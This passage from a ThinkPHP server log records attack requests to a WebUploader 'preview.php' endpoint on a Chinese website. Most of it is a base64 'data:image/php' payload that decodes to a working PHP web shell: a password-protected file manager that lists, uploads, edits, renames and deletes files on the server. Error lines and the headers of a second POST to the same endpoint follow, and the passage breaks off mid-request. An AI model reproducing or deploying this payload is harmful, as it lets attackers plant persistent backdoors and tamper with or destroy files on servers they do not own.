'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'manage' => 'lib', 'webuploader' => '0.1.5', 'server' => 'preview.php', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-22T04:26:55+08:00 ] 119.42.146.234 POST 51tianwei.com/static/lib/webuploader/0.1.5/server/preview.php [运行时间:0.002600s] [吞吐率:384.62req/s] [内存消耗:180.73kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'static', 2 => 'lib', ), ) [ info ] [ HEADER ] array ( 'host' => '51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 